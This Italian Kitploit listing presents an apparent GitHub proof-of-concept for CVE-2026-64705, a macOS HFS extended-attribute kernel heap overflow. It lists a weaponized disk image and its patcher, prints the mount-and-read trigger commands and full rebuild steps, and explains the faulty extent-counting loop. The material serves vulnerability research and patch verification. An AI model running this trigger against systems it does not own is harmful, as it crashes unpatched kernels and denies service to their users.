Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-64705 — Analisi delle cause profonde e proof-of-concept per CVE-2026-64705, un overflow dell'heap del kernel macOS HFS xattr. Include un'immagine HFS+ armata, un patcher, un parser e un'analisi dettagliata per ricerca educativa e difensiva. | Kitploit
Strumenti/GitHubGitHub/eddinos2/cve-2026-64705
Framework di ExploitAnalisi delle VulnerabilitàExploitAnalisi di BinariApprendimento e Formazione
GitHubeddinos2/cve-2026-64705

CVE-2026-64705

Analisi delle cause profonde e proof-of-concept per CVE-2026-64705, un overflow dell'heap del kernel macOS HFS xattr. Include un'immagine HFS+ armata, un patcher, un parser e un'analisi dettagliata per ricerca educativa e difensiva.

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-64705 — Overflow dell'heap del kernel HFS xattr (macOS)

Analisi della causa principale e proof-of-concept per CVE-2026-64705, un buffer overflow nell'estensione del kernel HFS corretto in macOS Sonoma 14.8.7 (HT127117):

HFS — Impatto: un'app potrebbe causare una terminazione imprevista del sistema o scrivere memoria del kernel. Un buffer overflow è stato risolto con un controllo dei limiti migliorato.

Il PoC è un'immagine disco HFS+ armata. Montarla e leggere un attributo esteso appositamente creato spinge il kext HFS in un ciclo bcopy illimitato di 64 byte in un buffer heap del kernel di 512 byte → overflow dell'heap del kernel con contenuto su disco controllato dall'attaccante → panic sulle build vulnerabili. Livello crash/panic — non RCE.

  • Vulnerabile: macOS ≤ 14.8.5 (kext hfs 650.140.2) e altri rami pre-fix
  • Corretto: macOS 14.8.7 (hfs 650.140.2.701.4) — aggiunge controlli di riporto adds/b.hs, terminazione a conteggio zero e rifiuto di total==0 / total>expected
  • Stringhe di patch (il contratto del validatore): hfs_setxattr: %s ha un extent di overflow malformato, idem per getxattr.

Contenuti

filecosa
poc-cve-2026-64705.dmgImmagine HFS+ armata da 32 MB (file trigger + record xattr creati ad hoc)
weaponize.pyIl patcher che ha costruito l'immagine — deriva nuovamente ogni offset dall'immagine stessa; funziona su qualsiasi immagine base compatibile
parse_attr.pyParser dell'albero B degli attributi usato per localizzare/scaricare i record xattr
BUILD.mdRicetta di build completa da un'immagine base pulita + i delta hex esatti
WRITEUP.mdAnalisi della causa principale: diff del kext (14.8.5 vs 14.8.7), ciclo vulnerabile, meccanismo

Trigger

Su un sistema pre-fix (o una VM sacrificabile — questo causa il panic del kernel):

root@kitploit:~
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt     # overflow dell'heap del kernel -> panic

Su un sistema corretto la stessa immagine viene montata senza problemi e il trigger viene rifiutato dal nuovo validatore — puoi osservare la prova differenziale nel log del kernel:

root@kitploit:~
hfs_getxattr: bigattr ha un extent di overflow malformato

che conferma anche che il record creato ad hoc porta l'esecuzione esattamente nel percorso corretto (e precedentemente vulnerabile).

Ricostruzione dell'immagine

root@kitploit:~
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py          # -> poc-cve-2026-64705.dmg

Il bug in un paragrafo

Per un xattr di grandi dimensioni archiviato come kHFSPlusAttrForkData, hfs_getxattr_internal (e il corrispondente hfs_setxattr_internal) attraversa gli 8 descrittori di extent del record di overflow. count_extent_blocks() salta qualsiasi descrittore il cui blockCount supera il totale previsto e restituisce la somma a 32 bit senza controllo di riporto o zero. Se ogni blockCount supera il totale, il conteggio torna 0, blkcnt non avanza mai e il ciclo while (blkcnt < totalblocks) continua a copiare 64 byte controllati dall'attaccante per iterazione oltre un buffer heap di totalblocks*8 byte. La variante con wrap di interi (blockCount che sommano oltre 2^32) è lo stesso controllo mancante; la patch 14.8.7 elimina entrambi.

A scopo educativo e di ricerca difensiva. Il bug è corretto nell'attuale macOS; testa solo su macchine di tua proprietà.

Scarica lo strumento